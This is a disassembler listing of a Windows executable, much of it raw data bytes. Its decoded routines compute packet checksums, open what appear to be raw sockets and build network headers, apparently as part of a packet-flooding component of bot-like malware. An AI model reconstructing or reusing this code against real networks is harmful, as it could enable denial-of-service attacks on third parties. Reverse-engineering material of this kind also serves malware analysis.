		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 73E82D74h, 8B000078h
		dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h
		dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh
		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABACh, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAFA4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0A415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435E0468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h
		dd 90022DBDh, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435DB468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2DBC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1

loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax

loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EE068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022DBBh, 0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B02415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0E89000h, 2B0228C9h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7581Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF48h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D5A468h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	3868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFE4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAFA4h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB00815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B03C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435F14h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2DB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB02415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436104h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF84h, 75FFF883h, 3815FF0Eh
		dd 50004CAFh, 4360B468h, 8D1BEB00h, 0FF500C45h,	4CAFE415h
		dd 0FFF88300h, 15FF2075h, 4CAF38h, 60706850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0A415FF00h, 66004CAFh, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 604468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7583Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF48h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D5A468ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE13868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE338h, 0A415FF45h
		dd 66004CAFh, 4CE33AA3h, 0AC458D00h, 5C76650h, 4CE33Ch
		dd 89660001h, 4CE33E3Dh, 4005C600h, 80004CE3h, 0E34105C6h
		dd 6611004Ch, 0E3423D89h, 15FF004Ch, 4CAFE4h, 4CE344A3h
		dd 0E0458B00h, 4CE348A3h, 8C858D00h, 50000000h,	523D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAFA415h, 4EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE34Ch, 0AFA415FFh, 68004Ch
		dd 66000004h, 4CE350A3h, 6F3CE800h, 0F7990000h,	546852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE338h, 0FFF475FFh,	4CB00815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0C405E8FCh, 2B900228h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 3C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FE068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF3815h, 458D5000h, 5468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFE415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 613068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0B4BEE856h
		dd 5F90022Dh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------

loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF4C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD

loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------

loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9

loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax

loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh,	6AEC4D8Dh
		dd 26A5104h, 0C8A35053h, 0FF004CE7h, 4CAF8415h,	0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0A415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB02415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B03C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E7CCBF83h, 6068004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 5C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAFA415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE768h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE768h, 685645h, 0C6000004h, 4CE77105h, 5C60600h
		dd 4CE769h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAFA4h
		dd 0A366286Ah, 4CE76Ch,	0AFA415FFh, 0D80004Ch, 4CE770h
		dd 581D39FFh, 66004CE7h, 4CE76AA3h, 1D896600h, 4CE76Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE13868h, 0E415FF00h, 0A3004CAFh
		dd 4CE774h, 6808458Bh, 4000h, 4CE778A3h, 891D8800h, 0FF004CE7h
		dd 4CAFA415h, 66535600h, 4CE78AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AFA015FFh
		dd 80A3004Ch, 0A0004CE7h, 4CE788h, 24087D8Bh, 6A500C0Fh
		dd 0E788A214h, 8B66004Ch, 1D89F045h, 4CE784h, 8E1D8966h
		dd 66004CE7h, 4CE77EA3h, 0A43D8900h, 88004CE7h,	4CE7A81Dh
		dd 0A905C600h, 6004CE7h, 0AFA415FFh, 0A366004Ch, 4CE7AAh
		dd 0E77EA166h, 0C766004Ch, 4CE79005h, 89000200h, 4CE7943Dh
		dd 92A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AFA415FFh, 0A366004Ch
		dd 4CE77Ch, 4CE774A1h, 0E7A0A300h, 5C6004Ch, 4CE789h, 841D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE78905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAFA4h, 0A3C0B70Fh, 4CE784h, 6C05FF66h
		dd 0FF004CE7h, 4CE78005h, 7EA16600h, 6A004CE7h,	7CBE5905h
		dd 0BF004CE7h, 4CE7ACh,	721D8966h, 66004CE7h, 0E78C1D89h
		dd 146A004Ch, 68BEA5F3h, 66004CE7h, 4CE792A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7A06820h, 0A366004Ch, 4CE772h, 0FF5C13E8h
		dd 10C483FFh, 0E78CA366h, 106A004Ch, 4CE79068h,	286A5300h
		dd 0C835FF56h, 0FF004CE7h, 4CB00815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0BD59E8FFh, 2B900228h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 27B409E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CE7CCB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D160
		mov	edi, 0B8h

loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------

loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D160[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D178[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_42923C
		pop	ebx

loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436178
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D160

loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436164
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch

loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCE0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 279013Ch
		mov	ebx, offset dword_4D2BCC
		mov	edi, 80h
		mov	esi, offset dword_4CEBCC

loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEBCC
		xor	ecx, ecx

loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2BCC
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_4361C4
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_4361B0
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361F4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax

loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEBCC

loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352

loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2BCC
		jl	short loc_415309

loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361D8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h

loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
